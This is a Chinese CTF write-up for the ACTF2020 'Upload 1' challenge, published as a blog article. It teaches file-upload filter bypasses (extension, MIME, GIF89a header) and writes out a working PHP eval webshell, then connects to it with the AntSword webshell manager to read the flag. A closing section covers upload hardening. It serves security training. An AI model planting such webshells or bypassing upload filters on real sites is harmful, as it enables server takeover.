ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

ACTF2020 Upload 1题解:文件上传绕过与蚁剑连接实战解析

ACTF2020 Upload 1题解:文件上传绕过与蚁剑连接实战解析 ACTF2020新生赛的Upload 1算是我入门Web安全时印象很深的一道题。题目本身不复杂但把“文件上传漏洞”这条链路上最常见的三个环节全串起来了找到上传点、绕过文件校验、用一句话木马配合蚁剑拿到执行权限。很多新手卡在这类题上不是不知道要传马而是搞不清楚每一步到底在过什么检测、为什么这么改就能过、蚁剑连不上的时候又该查哪里。这篇文章就按我当时做题的思路从拿到题目的第一眼开始一步步拆到最终拿到Flag顺手把文件上传题最常见的考点和排查技巧都整理出来。适合刚接触CTF Web方向、或者正在刷upload题型的同学参考老手也可以跳着看后面的避坑部分。1. 拿到题目先做什么信息收集与功能定位很多人上手就是传一个PHP文件被拦了就开始乱试后缀这种“盲试法”效率很低。我习惯先花两分钟把题目的“功能边界”摸清楚这个页面到底提供了什么功能它接受什么、拒绝什么报错信息长什么样。把这三件事搞清楚后面的绕过路径基本就清晰了。1.1 确认入口和功能边界打开靶场页面通常就是一个文件上传表单可能还附带一个“上传成功”之后的提示或跳转。第一步不是急着选文件而是先做三件简单的事上传一张正常的图片JPG/PNG/GIF都行观察返回结果上传一个扩展名很离谱的文件比如 .txt、.html看提示是否一致用浏览器开发者工具看Network面板确认请求发到了哪个接口、用了什么HTTP方法这一步的价值在于建立“基准线”。正常图片是能传的那就说明上传功能本身是通的不同的失败提示能帮你判断前后端过滤的类型。比如前端直接弹窗提示“只允许上传图片”说明校验在浏览器里就做了如果页面刷新后显示“上传失败文件类型不允许”那基本是后端在拦。这个阶段不要急着想绕过的姿势先记住三个信息上传接口的URL、上传后文件存放的路径、失败提示的文案。这三个信息后面每一步都需要用。1.2 文件上传题的常见考点清单做多了会发现文件上传题翻来覆去就考那么几个点。我把常见的检测方式和对应的绕过思路整理成一个表方便对照检测类型常见实现方式绕过思路前端JS校验在浏览器里判断扩展名Burp抓包改包直接绕过前端后端扩展名过滤黑名单或白名单判断后缀尝试可用后缀、大小写、空格、.htaccess等MIME类型校验检查Content-Type抓包改成image/jpeg等图片类型文件头校验读取文件前几个字节在脚本前加上GIF89a等图片头文件内容检测过滤?php等关键字用短标签、编码、拼接等方式变形解析规则限制服务器对不同后缀解析策略不同换Apache/IIS/PHP支持的解析后缀新生赛的题一般不会把上面所有检测都叠在一起通常组合两三种比如“前端JS校验 Content-Type校验 文件头校验”或者“后端黑名单扩展名 MIME校验”。所以当你发现一种绕过方式无效时别慌按这个清单逐项排除很快能找到卡点。1.3 这道题的初步判断回到ACTF2020新生赛的Upload 1我记得当时最直观的感受是这是一个典型的新手向上传题没有特别偏门的绕过姿势重点就是把“上传校验”这关走通。从题目名称里也能猜到它没有考解析漏洞之类的进阶内容核心就是文件上传 一句话木马 蚁剑连接三件套。所以当时的思路很明确先用Burp Suite把请求拦下来观察上传的POST数据长什么样接着试探服务器对扩展名的过滤规则再确认上传文件的路径最后用蚁剑连上去找Flag。整个过程不需要写特别复杂的脚本手工就能完成。下面每个环节我都会拆开细讲包括我踩过的坑。2. 一句话木马先搞懂你的武器蚁剑连接的前提是服务器上已经有一个“能让你执行代码”的东西这就是一句话木马。很多新手会把它想得很玄乎其实原理一句话就能讲清楚服务器在解析PHP文件时如果遇到eval()这类函数就会执行括号里的字符串参数。我们上传一个内容极简的PHP文件里面只有一个eval()再通过POST参数传入我们想执行的命令就实现了对服务器的控制。2.1 一句话木马的执行原理以最经典的PHP一句话为例?php eval($_POST[cmd]); ?这行代码干了什么呢$_POST[cmd]是从HTTP请求中读取一个名为cmd的参数值eval()把这个值当成PHP代码执行开头的是用来抑制错误输出的。当攻击者用蚁剑这类工具连接时蚁剑会在POST数据里带上cmd...参数值是一段精心构造的PHP代码用来实现文件列表、读取文件、执行命令等功能。这里面有个容易忽略的细节eval执行的不是系统命令而是PHP代码。所以蚁剑并不是直接把ls、cat这样的Shell命令塞进cmd而是先通过PHP代码在服务器端拼出一个小型“执行框架”再在这个框架之上执行具体操作。不理解这一点后续排查问题时容易走弯路。2.2 新生赛写什么样的马最合适在新生赛场景下最稳妥的就是经典原版一句话简单直接?php eval($_POST[cmd]); ?为什么推荐用这个而不是各种免杀变体因为新生赛的过滤规则通常不查内容只要后缀能解析成PHP这个马就能用。过度加密反而可能带来两个问题一是有些加密写法依赖特定PHP版本靶机环境未必支持二是蚁剑连接时对某些变形马的兼容性也不一定好调试起来浪费时间。不过有一点要注意参数名、加密器和连接密码必须和蚁剑里配置的一致。如果一句话里写的是$_POST[cmd]蚁剑的连接密码就要填cmd填成shell或者x那就连不上。这个看似低级的错误实际做题时出现频率非常高。2.3 怎么验证上传是否成功上传操作本身成功不代表一句话木马就能用。中间还隔着“服务器是否把该文件当PHP执行”这一关。我通常分两步验证上传成功后在浏览器里直接访问这个文件的URL如果页面是空白大概率说明PHP已经执行了因为eval在等待POST参数没有输出内容如果浏览器直接显示文件源码说明服务器没有解析PHP只是把这个文件当普通文本返回了这里有一个容易误导新手的点很多同学看到“上传成功”四个字就兴冲冲去开蚁剑结果连不上回头才发现上传后的文件名被服务器改了或者路径和预想的不一样。所以拿到上传成功的响应后先仔细看它返回了什么信息很多题目会在响应里直接告诉你文件保存的路径和文件名。如果响应里没有路径那就需要去常见目录里探一下这个我在后面实操部分细讲。3. 蚁剑连接配置与避坑手册蚁剑AntSword是国内安全圈使用很广的一款开源跨平台WebShell管理工具界面友好功能也比老牌的“菜刀”完善不少。它本质上是一个桌面客户端通过加载不同的“解码器”和“编码器”来与不同形式的一句话木马通信。CTF里绝大多数PHP一句话场景蚁剑默认配置就能直接连上。3.1 为什么选蚁剑我接触过的WebShell管理工具有好几款蚁剑是我在CTF和实战测试里用得最多的。原因有三跨平台Windows、macOS、Linux都能跑不挑系统插件化编码器、解码器、插件机制都很完善遇到特殊变形的一句话可以临时加载对应模块生态好文档和社区资料多遇到问题搜索解决方案方便相比之下菜刀已经很多年不更新对HTTPS和PHP 7的兼容性也一般冰蝎的流量特征和加密方式更适合实战场景在CTF新生赛里反而属于“杀鸡用牛刀”。所以我的建议是先把蚁剑用熟练它的默认功能足以覆盖绝大多数题目需求。3.2 安装和初始化的坑蚁剑的安装本身不复杂但从GitHub Releases页面下载对应系统的压缩包解压后需要先初始化。这里有两个常见的坑初始化过程需要联网加载一些依赖如果网络环境不好初始化界面会一直转圈看似“卡死”。解决方法是多试几次或者手动下载依赖包放到指定目录运行时如果提示缺node或npm相关组件说明系统环境缺依赖按提示安装即可。新版蚁剑是Electron封装对系统版本有一定要求太老的系统可能跑不起来装好之后先不要急着连题目可以本地搭一个PHP环境放一个一句话木马文件先用蚁剑连本地测试一下确认工具本身没问题。这样等真正做题时出现的任何连接失败都能确定是题目原因而不是工具没装好。3.3 连接配置的关键参数蚁剑的“添加数据”里有几个参数需要特别注意URL必须精确到可访问的脚本文件比如http://target.com/uploads/shell.php而不是只写到目录连接密码要和一句话木马里的POST参数名一一对应。比如$_POST[cmd]密码就填cmd连接类型选PHP蚁剑会根据这个类型选择对应的解码器编码器/解码器默认配置即可后面遇到特殊过滤再调整我自己踩过的一个坑是URL结尾带了多余的空格或者斜杠蚁剑会报“404”或者“URL格式错误”排查半天结果就是多了个字符。后来我习惯先复制URL到浏览器里访问一遍确认能打开再粘贴到蚁剑里。3.4 连接失败最常见的原因蚁剑连接失败90%以上是下面几个原因现象可能原因处理方式404URL路径不对文件不存在确认上传路径和文件名浏览器先访问试试403目录禁止列目录或文件无权限检查是否有其他路径考虑上传到可访问目录500PHP语法错误或组件缺失检查一句话木马是否被截断、编码是否正确连接成功但列不了目录密码不对或者解析器类型不对核对密码尝试更换编解码器响应为空eval被禁用或过滤换assert等方式或用其他变形一句话遇到连接失败我的习惯是先回到浏览器用URL直接访问马文件把页面返回的内容作为判断依据。很多时候“蚁剑连不上”的真相是文件压根没被解析成PHP那就不是蚁剑的配置问题而是上传环节还没有完全打通。4. 完整实操绕校验、传马、连蚁剑、拿Flag前面把三个核心概念都铺垫完了现在进入实战。我按当时做题的时间线把从第一次提交文件到最终拿到Flag的全过程写出来。这里我不会虚构题目的具体返回文案因为每套靶场可能略有差异但操作路径和判断逻辑是完全通用的。4.1 用Burp确认拦截点位置先用Burp Suite打开代理浏览器访问靶场随便选一张图片上传抓到上传请求。请求里最关键的部分是multipart/form-data格式下的文件内容格式大致如下POST /upload.php HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary----WebKitFormBoundary7MA4YWxkTrZu0gW ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; namefile; filenametest.png Content-Type: image/png PNG文件二进制内容... ------WebKitFormBoundary7MA4YWxkTrZu0gW--这里有两个字段是后面绕校验的核心一个是filenametest.png它传递的是文件名后端如果做扩展名过滤看的通常是这里另一个是Content-Type: image/png它传递的是MIME类型后端如果做MIME过滤看的是这里。正常图片上传成功后再上传一个PHP文件如果页面直接弹窗提示文件类型不允许说明有前端校验。前端校验的时候数据包根本不会发到服务器所以用Burp把请求拦下来把filename改成test.png、Content-Type改成image/png再放行就能绕过前端限制。这一步几乎所有文件上传题都会用到务必熟练掌握。4.2 后缀黑名单和白名单的绕过尝试绕过前端之后真正的考验是后端过滤。以新生赛常见套路为例后端很可能维护了一个黑名单禁掉了php、php3、php5、phtml这些常见PHP后缀但对其他后缀没做严格限制。我当时把一句话木马分别改成shell.php3、shell.php5、shell.phtml挨个试其中一个成功上传了。这里要注意不是后缀看着像PHP就一定能解析具体能解析哪些后缀取决于服务器用的中间件和PHP配置。Apache通常是AddType或AddHandler指令决定哪些后缀会交给PHP处理Nginx则看fastcgi_param的配置。CTF靶场一般会特意开放其中一个可执行后缀作为通关路径所以逐个尝试是最高效的办法。如果黑名单拦得比较死还可以试试大小写绕过比如shell.Php、shell.pHp。有些后端过滤用的是in_array(strtolower($ext), blacklist)那大小写就没用如果过滤逻辑是str_replace(php, , $ext)那shell.pphphp反而能变成shell.php。命名虽绕但本质都是猜它过滤逻辑的写法。4.3 文件头与MIME双伪装如果后端除了扩展名还检查了文件内容和MIME类型就要把木马伪装成图片。常见的做法是在PHP代码前加上图片文件头比如GIF89a ?php eval($_POST[cmd]); ?同时把Content-Type改成image/gif。这样对于只读取文件前几个字节的校验这个文件看起来就是一张GIF图对于检查MIME类型的校验数据包里的Content-Type也足够以假乱真。但这里要注意一个进阶坑如果后端采用了“图片二次渲染”也就是用imagecreatefromjpeg()之类的函数重新生成图片那么你塞在文件末尾的PHP代码会被直接丢弃因为渲染后的图片只保留了图像数据。解决办法是用工具把一句话木马写入图片的EXIF信息或者用脚本把PHP代码嵌入到图片的像素数据中保证渲染后代码依然存在。新生赛很少考到二次渲染但如果后续在upload-labs里刷题会经常遇到这里先有个概念。4.4 路径定位与连接上传成功只是第一步接下来得知道文件被保存到了哪里。常见的位置有upload/、uploads/、files/文件名可能保持原名也可能被重命名为时间戳或随机字符串。如果上传接口的响应里直接给出了路径那最省事如果没有有几种办法用浏览器开发者工具看Network面板上传成功后有没有额外的跳转或接口返回尝试常见目录名拼接比如uploads/shell.php3、upload/shell.php3如果存在目录遍历或文件列表直接浏览上传目录我当时是直接试了几个常见路径最后在uploads/目录下找到了文件。打开浏览器访问http://target.com/uploads/shell.php3页面是空白的这说明PHP已经执行了当前文件具备被当作PHP解析的条件。到这个节点蚁剑才有连接的基础。在蚁剑里添加数据URL填完整路径密码填cmd类型选PHP点击测试连接。如果返回成功文件管理的界面里就能看到服务器的目录结构了。4.5 获取Flag连接成功后Flag的位置一般逃不过这几个地方当前目录下直接叫flag.php、flag.txt网站根目录/var/www/html/下服务器临时目录或者上一级目录用蚁剑的文件管理器逐个目录看过去找到可疑文件后用自带的编辑器打开或者右键“终端”执行cat /path/to/flag。如果Flag不在上述位置还可以用终端命令全盘搜索特定文件名比如find / -name *flag* 2/dev/null这里有个小技巧很多题目把Flag放在PHP文件里直接双击打开会看到一堆源码别被绕晕了找flag{...}格式的字符串就行。蚁剑的文件编辑器右上角可以直接搜索文件内容非常方便。5. 卡住了怎么办问题排查与考点复盘做题的时候卡住才是常态。这一节我把自己刷文件上传题时最常遇到的卡点和排查思路整理出来同时也总结一下这道题如果变了皮应该往哪个方向想。5.1 报错速查表现象可能的卡点优先排查项上传时前端弹窗拦截前端JS校验用Burp改包绕过别在前端纠缠上传后提示“类型不允许”后端MIME校验改Content-Type为图片类型上传成功但访问404路径/文件名变了找上传响应或扫描上传目录访问文件显示源码服务器未解析该后缀换可执行后缀如php3、phtml蚁剑连接成功但列目录失败密码或编码器不匹配核对密码切换默认解码器重新连接提示“密码错误”连接配置不一致确认一句话里的参数名和蚁剑密码一致5.2 从“上传成功”到“蚁剑连接成功”之间还有几道关很多新手以为“上传成功 成功getshell”其实中间还隔着两关。第一关是文件是否被当成PHP解析验证方法就是浏览器访问看返回的是空白还是源码。第二关是一句话木马能否被蚁剑正确识别执行验证方法是把一句话内容单独拿出来在本地PHP环境测试一次确认代码本身没毛病。我见过不少同学卡在“上传成功但蚁剑报404”这个问题上最后发现是访问路径写错了。记住一点蚁剑的URL必须指向具体文件不是目录。服务器如果对目录启用了默认索引页或者伪静态你写目录也可能返回200但连接的并不是你的木马文件自然无法执行。5.3 如果题目改了常见变体提醒同样是文件上传题很多平台会做变体多知道几种思路会从容很多过滤了php关键字但保留.htaccess可用可以上传一个.htaccess文件把某个图片后缀的解析方式改成PHP白名单只允许.jpg且扩展名严格校验配合.htaccess或者服务器解析漏洞让图片文件被当作脚本执行上传后文件名随机化、不可预测这时候需要对目录做一次简单的路径探测上传点不止一个有的是头像上传、有的是附件上传校验强度可能不同这些变体在upload-labs里都有对应关卡刷题时遇到可以回头对照。6. 题外话这套手法在真实防御里的对应关系写了这么多绕过姿势最后想从另一个角度聊聊这些攻击手法对应的防御措施到底是什么。理解了防守方会怎么做反过来也能帮你更深刻地理解攻击链路。6.1 攻击链总结一次完整的文件上传攻击链路其实是这样找到上传入口构造一个能在目标服务器上执行的脚本文件一句话木马绕过各类文件校验让这个文件成功上传保证服务器会把该文件解析成脚本而不是下载或直接显示源码用WebShell管理工具连接获取文件管理和命令执行能力在服务器上翻找敏感文件防守方只要在任意一个环节卡死攻击就断了。所以你在做题时遇到的每一个校验所对应的就是真实系统里的一道防线。6.2 防御建议从防守方视角我总结了几条最实用的加固建议上传目录和脚本执行目录分开上传目录禁止执行PHP文件名统一重命名为随机字符串不保留用户原始文件名后缀校验用白名单而不是黑名单黑名单永远堵不干净同时校验MIME类型、文件头、文件大小多层过滤对图片使用二次渲染丢弃非图像数据上传目录权限设置为不可写、不可执行你会发现真实防御往往不是靠某一个点扛住攻击而是“纵深防御”。这也是为什么题目里经常叠加多种过滤每一项都过才能走到最后一步。6.3 学习路线的建议如果你刚接触这类题我建议按这个顺序刷先刷upload-labs的前五关把前端校验、MIME校验、黑名单扩展名、白名单扩展名、.htaccess这几类基础绕过全部过一遍再回头做ACTF2020这类新生赛综合题体会组合校验的感觉最后再研究图片马和二次渲染这类进阶姿势。这样循序渐进比一上来就研究免杀Shell要扎实很多。最后的一点体会训练的时候最值得关注的其实不是“最终有没有打通”而是每一步里你对“为什么要这样做”的理解。比如为什么改一下Content-Type能过因为后端只信了这个头。为什么换php3能过因为服务器把这些后缀都交给了PHP解析。把这些“为什么”串起来你会发现文件上传题翻来覆去就那几件事让文件传上去让文件被解析让代码能执行。想通了这条线后面遇到再复杂的题目心里都不会慌。
返回列表